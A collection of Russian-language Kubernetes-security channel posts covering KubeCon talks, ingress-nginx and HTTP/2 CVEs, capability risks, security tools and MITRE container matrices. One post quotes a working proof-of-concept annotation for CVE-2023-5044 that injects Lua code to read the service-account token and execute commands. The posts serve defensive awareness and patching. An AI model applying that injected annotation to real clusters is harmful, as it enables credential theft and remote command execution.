В конце сентября, в Шанхае прошла конференция KubeCon China 2023. Один из интересных докладов трека Security – Post-Exploiting a Compromised ETCD - Luis Toro Puig, NCC Group.

В докладе автор рассматривает сценарий, в котором ETCD (контейнер или хост) был скомпрометирован, и рассуждает над тем как далеко может продвинуться злоумышленник. Понимание того, как Kubernetes записывает данные в ETCD, может помочь злоумышленнику подделать данные, внедрить Bad Pods, закрепиться в кластере или даже обойти логику scheduler и ограничения AdmissionController.

Видеозаписи доклада пока что к сожалению нет, а вот слайды можно найти тут.

По сути доклад является логическим продолжением статьи Abusing ETCD to Inject Resources and Bypass RBAC and Admission Controller Restrictions о которой мы писали ранее.

В качестве рекомендации хотелось бы отметить, что хост с ETCD нужно максимально защищать – никто не должен иметь возможности сходить на эту машину, кроме Kube API с сертификатами.

Наша команда Luntry совместно с ребятами из компании «Флант» проведет вебинар «Информационная безопасность Kubernetes-кластеров: иллюзии, угрозы и решения» в эту пятницу 13 в 12:00.

В процессе этого мы как просто обсудим безопасность в Kubernetes, так и как наши решения в этом вопросе могут помочь, красиво дополняя друг друга.

Зарегистрироваться на webinar можно тут.

Недавно мой товарищ поднял один достаточно интересный вопрос о решении ServiceMesh Istio, о котором мы с командой ранее даже не задумывались ввиду того что не эксплуатируем данное решения.

И так вопрос и ситуация следующая: Для работы istio-init контейнер, который добавляется во ВСЕ Pods в ServiceMesh, требует NET_ADMIN и NET_RAW capabilities, которые обычно рекомендуется забирать из-за их опасности (пример) ... При этом чаще всего когда системное приложение все же требует таких capabilities оно живет в своем отдельном namespace и его достаточно просто можно добавить в исключение в том же PolicyEngine. Но как вы понимаете в данной ситуации это будет ВЕЗДЕ - во всех namespaces с вашими прикладными микросервисами в ServiceMesh ...

Как с этим живете? Как это контролируете? Как спят ваши безопасники?)

P.S. В последствии я еще заметил, что там же runAsUser: 0, runAsGroup: 0, runAsNonRoot: false
P.S.S. Контролировать это можно, но надо постараться. Пост тут скорее чтобы обратить ваше внимание на эту ситуацию

Exploiting Excessive Container Capabilities – в статье рассматривается концепция возможностей контейнера в Docker и потенциальные риски, связанные с избыточными привилегиями. В ней показывается сценарий, в котором злоумышленник использует capabilities для побега из Docker контейнера и получения несанкционированного доступа к хосту.

В качестве примера, рассматривается кейс, когда у контейнера есть cap_sys_ptrace и host_pid (актуально и для Kubernetes). Автор использует лабу madhuakula, больше известного как создателя Kubernetes Goat, о котором мы писали раньше. Используя сгенерированный через Metasploit reverse shell, он инжектится в нужный процесс и получает root на хосте.

Выдача capabilities очень важный момент в безопасности Kubernetes. Их можно ограничивать и выдавать на уровне YAML манифеста и AppArmor профиля. Если вы делаете это в Kubernetes, то делайте на уровне YAML, как это рекомендуют разработчики Kubernetes.

"The internals and the latest trends of container runtimes (2023)" - очень крутая презентация с лекции Kyoto University! Основное содержимое:
1) Introduction to containers
2) Internals of container runtimes
3) Latest trends in container runtimes

Тут прям все от и до есть! Просто MUST HAVE для изучения!

Тоже самое, но в формате статьи тут.

Некоторое время назад довелось поучаствовать в подкасте "Смени пароль!" в выпуске на тему "Атака на экосистему". Своем мнение про формирование экосистемой безопасности и защиты самих экосистем высказались разные крутые специалисты из разных сфер и компаний, включая нашу Luntry.

Приятного прослушивания!

В конце сентября, в Шанхае прошла конференция KubeCon China 2023. Там ребята из компании Tencent представили доклад "Container Live Migration in Kubernetes Production Environment" (слайды, видео (на китайском)). Доклад на прямую не связан с безопасностью (смотря как посмотреть), но тему поднимает очень интересную и кажущуюся на первый взгляд из какого-то будущего) Но данные ребята у себя в компании в проде это уже воплотили в жизнь! Правда для этого они накостыляли свое, а не то что сейчас внедряют в Kubernetes под названием ContainerCheckpoint feature gate.

Насчет связей с информационной безопасностью постоянные читатели нашего канала явно должны вспомнить про forensic container analysis, как раз на основе этого же механизма. Об этом мы писали уже не раз [1,2,3,4,5]

Нашумевшие уязвимости CVE-2023-44487 и CVE-2023-39325, выявленные в результате самой мощной DDoS атаки на текущий день (398 миллионов запросов в секунду) и обнаруженные в go библиотеках golang.org/x/net и golang.org/x/net/http2 само собой затронули и Kubernetes. Патчи для поддерживаемых версий уже выпущены – 1.25.15, 1.26.10, 1.27.7, 1.28.3 (остальные версии обновления не получили и не получат, так как их поддержка завершена).

В патче был добавлен feature gate – UnauthenticatedHTTP2DOSMitigation (по умолчанию он выключен). Однако, есть ряд оговорок. Во-первых, патч применим только для запросов со стороны неаутетифицированных клиентов. Во-вторых, если перед Kube-API уже установлен L7 балансировщик, то разработчики не рекомендуют включать этот feature gate. Такая же рекомендация распространяется в том случае, если Kube-API запущен в частной, изолированной сети, чтобы избежать снижения производительности для неаутентифицированных клиентов.

Тем не менее проблема для аутентифицированных клиентов остаётся нерешенной. Следить за её решением можно в этой issue.

Недавно на просторах сети наткнулись на занимательную картинку, которая представляет из себя MindMap на тему Supply-Chain Security Assessment. На нее можно достаточно долго смотреть и размышлять: знал ли я о таком, учли ли мы это у себя и чего тут не хватает ... Делая, подобную инфографику, очень сложно не упустить чего-то. Поэтому предлагаем читателям канала подумать и в комментариях написать, что по вашему мнению тут и где еще не хватает ;)

CNCF Kubernetes Policy Working group выпустила новый документ, посвященный политике управления, риска и соответствия, чтобы помочь коммьюнити узнать, как лучшие практики Cloud Native могут быть использованы для устранения ключевых бизнес-рисков.

В документе описывается, как политики PolicyEngine могут быть использованы в качестве строительного блока в Kubernetes для автоматизации безопасности, соответствия и управления. Политики явно выявляют риски и повышают осведомленность команд, что позволяет снизить риски на более ранних этапах. В статье также описывается, как политики могут применяться на каждом этапе жизненного цикла Cloud Native приложения.

С полной версией документа можно ознакомиться по ссылке тут.

Хоть нашей команде OWASP Kubernetes Top 10 и не понравился (об этом мы писали тут и тут), но статья "OWASP Kubernetes Top 10: A Comprehensive Guide" по ней выглядит внушительно и с рядом хороших картинок.

Уже меньше, чем через месяц - 14-15 ноября в Москве пройдет SOC-Forum 2023. Наша команда Luntry представит там 2 доклада:
1) «SOC в контейнерах»

Рассмотрим новые вызовы для взаимодействия Security Operations Center (SOC) с высоконагруженными контейнерными окружениями под управлением Kubernetes. Ведь далеко не все SOC готовы к работе с динамическим окружением, у которого своя специфика и особенности.

2) «EDR vs Containers: актуальные проблемы» совместно с Владиславом Лашкиным (4RAYS) из ГК SOLAR

Расскажем все о runtime защите для контейнеров и поможем слушателям узнать о самых важных моментах и тонкостях темы. Ведь контролировать происходящее внутри контейнеров очень важно — и при этом очень непросто. Для примера мы возьмем представителя сигнатурного детекта Falco и покажем как можно оставить его в не удел, а также решения что базируются на нем (Sysdig Securie, StackRox) и вообще подсветим проблемы сигнатурного обнаружения в Linux средах.

The Secrets Store CSI Driver позволяет Kubernetes монтировать множество секретов, ключей и сертификатов, хранящихся во внешних хранилищах секретов корпоративного уровня, в свои Pods в виде Volume.

Что интересно – этот проект от сообщества Kubernetes SIGs. Разворачивается как DaemonSet и использует несколько CustomResources.

Из коробки доступен функционал Secret Auto Rotation (альфа фича, выключена по дефолту) и поддерживаются такие провайдеры как Vault, Azure, GCP и AWS. Также есть возможность делать Sync as Kubernetes Secret.

Когда-то мы уже упоминали данный проект, но только вскользь.

P.S. – Использует уже кто? Способен Vault подменить ?)

"Netassert v2: Network Security Testing" - инструмент динамического тестирования работы сетевых политик (NetworkPolicy) в Kubernetes.

Для этого необходимо описать какое взаимодействие, между кем вы хотите протестировать. Далее движок, используя ephemeral container, инжектит свои образы в тестируемый/е Pods и запускает сканирование с попыткой подсоединиться.

Достаточно оригинальная идей использования ephemeral container ) В Prod окружении я бы не стал такое гонять, но вот как механизм тестирования и описания тестов для разработчиков в stage окружение рассмотреть можно.

Данный инструмент определенно напоминает другой заброшенный инструмент illuminatio.

Вчера у Ingress-NGINX Controller для Kubernetes вышло три новых CVE с критичностью High:

1. CVE-2022-4886: Ingress-nginx path sanitization can be bypassed. Уязвимость связана с тем, что пользователь, имеющий право создавать или обновлять Ingress ресурсы, может использовать директивы для обхода обработки поля spec.rules[].http.paths[].path объекта Ingress для получения кредов контроллера ingress-nginx. Затрагивает все версии < 1.8.0

2. CVE-2023-5043: Ingress nginx annotation injection causes arbitrary command execution. Аннотация nginx.ingress.kubernetes.io/configuration-snippet в ресурсе Ingress может быть использована для inject arbitrary commands и получения учетных данных контроллера ingress-nginx. Затрагивает все версии < 1.9.0

3. CVE-2023-5044: Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation. Аналогичная проблема, как и в предыдущей CVE, только на этот раз в аннотации nginx.ingress.kubernetes.io/permanent-redirect.

Все необходимые патчи уже выпущены. Не забудьте обновиться!

Хороших выходных!

При построении системы безопасности в Linux и Kubernetes инфраструктурах их неотъемлемой частью является Privileged Access Management (PAM) (мы поднимали уже эту тему тут и тут). Как к этому подойти и на что важно обратить внимание при построении этого кубика безопасности поможет серия выступлений от Антона Жаболенко и Павла Пархомца:
1) "Организация привилегированного доступа к Linux-инфраструктуре"
2) "Строим свой PAM на основе Teleport"
3) "Управляем доступом в распределённой Linux-инфраструктуре"

Рекомендуется смотреть именно в такой последовательности самими авторами, а при возникновении каких-то вопросов можно уточнить их у нас в комментариях ;)

В конце прошлой недели мы рассказывали о трёх свежих CVE для Ingress-NGINX Controller. Несмотря на то что, в описании CVE-2023-5044 есть некоторые подробности от человека, написавшего репорт, до сих пор нет ни одного реального PoC в публичном доступе. Автор статьи "Exploiting CVE-2023-5044" решил эту проблему.

Сначала автор попытался использовать alias и root directives для доступа к чувствительным файлам, однако этого не получилось, потому что они были выключены. После этого, прибегнув к использованию lua noscripts и небольшой помощи ChatGPT получился рабочий PoC:

nginx.ingress.kubernetes.io/permanent-redirect: https://www.mccune.org.uk;}location ~* "^/flibble(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/flibblea(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'

Это зрело давно (начало положено 4 года назад) и приближается все ближе - мы о том что ресурсы Gateway API заменят ресурс Ingress API. В их парочке первый в сообществе называют next generation Ingress API. Как раз подтверждением этого является заметка в официальном блоге Kubernetes под названием "Gateway API v1.0: GA Release".

Оказывается на странице проекта есть даже раздел "Migrating from Ingress" и с ним также можно заблаговременно ознакомиться ;) Но не поймите не правильно Ingress никуда не девается. Но мы явно наблюдаем еще один виток расширения Kubernetes инфраструктуры.

А если вам интересно это попробовать и поиграться с этим, то стоит начать вот от сюда.

P.S. В комментариях расскажите кто что уже пробовал или что думаете на этот счет.

4 декабря мы будем участниками круглого стола "За пределами SDL", что пройдет в рамках конференции ИСП РАН Им. В.П. Иванникова.

В планах обсудить вопросы развития и применения технологий и инструментов, которые разрабатываются друзьями института и активными участниками сообщества Центра компетенций ФСТЭК России и ИСП РАН. А также, подходы к выстраиванию безопасной архитектуры, композиционный анализ, анализ защищенности Kubernetes-кластеров, тестирование на проникновение и BugBounty, статический анализ веб-языков программирования, а также формирование подходов к объединению вышеуказанных технологий в унифицированные среды и методологии безопасной разработки и испытаний.

Это будет самая не формальная часть официальной программы. И здорово, что в таких организациях есть ряд молодых и очень активных людей, которые поднимают передовые, технологические вопросы, а не только регуляторику =)

P.S. Традиционный виски-клуб от активной части организаторов как обычно, но тут кто знает тот знает ;)

P.S.S. Будем рады пообщаться там лично!

24-25 октября прошла конференция ATT&CKCON 4.0 (организована компанией MITRE), где без внимания не остались и контейнеры.

Авторы доклада "Cloud Native Workload ATT&CK Matrix" поднимают вопросы и вызовы, с которыми сталкиваются организации при работе с Cloud Native нагрузками, и предлагают пересмотр существующих методов моделирования угроз и создание новой матрицы ATT&CK для повышения уровня защиты и обнаружения угроз. Всё это разбирается на примере нашумевшей атаки SCARLETEEL.

На самом деле ничего нового они не предлагают, а лишь критикуют имеющееся. В дополнение, авторы приводят список нерелевантных техник из Enterprise матрицы (тут можно не согласиться).

Со слайдами можно ознакомиться здесь.

Продолжим тему предыдущего поста про организацию MITRE, а точнее про их матрицы. Как правило они обновляют их два раза в год, в том числе и после конференции ATT&CKCON 4.0. Матрица Enterprise обновилась, а это значит, что и Container Matrix тоже.

Были добавлены следующие техники: Account Manipulation, Create Account, Data Destruction и Endpoint Denial of Service. Несмотря на то, что матрица посвящена контейнерам, в ней всё чаще встречаются прямые отсылки к Kubernetes (что не может не радовать).